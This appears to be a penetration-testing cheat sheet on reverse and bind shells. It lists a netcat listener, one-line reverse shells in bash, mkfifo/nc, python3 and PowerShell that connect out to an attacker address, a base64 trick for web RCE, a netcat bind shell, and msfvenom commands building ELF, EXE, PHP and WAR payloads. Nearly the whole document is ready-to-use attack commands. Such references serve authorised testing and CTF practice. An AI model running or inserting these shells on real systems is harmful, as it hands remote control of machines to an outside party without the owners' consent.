Reverse & Bind Shells

Listener

Catch the shell (rlwrap gives line editing):

rlwrap nc -lvnp 4444

Linux reverse shells

bash:

bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1

mkfifo (when bash redirection is filtered):

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP> 4444 >/tmp/f

nc with -e:

nc <YOUR_IP> 4444 -e /bin/bash

python3:

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<YOUR_IP>",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];subprocess.call(["/bin/bash","-i"])'

base64 (for web RCE where spaces/quotes break)

Encode the bash payload:

echo -n 'bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1' | base64

Run the encoded blob:

echo <BLOB>|base64 -d|bash

Windows / PowerShell reverse shell

powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('<YOUR_IP>',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$sb=([Text.Encoding]::ASCII).GetBytes($r+'PS> ');$s.Write($sb,0,$sb.Length);$s.Flush()}"

Bind shell (you connect to the target)

Target listens:

nc -lvnp 4444 -e /bin/bash

You connect:

nc <TARGET> 4444

msfvenom payloads

Linux ELF:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f elf -o s.elf

Windows EXE:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f exe -o s.exe

PHP:

msfvenom -p php/reverse_php LHOST=<YOUR_IP> LPORT=4444 -f raw -o s.php

WAR (Tomcat):

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f war -o s.war

Not sure what the box has? Generate a few from revshells.com and try in order, then stabilise (see Shell Upgrade & TTY).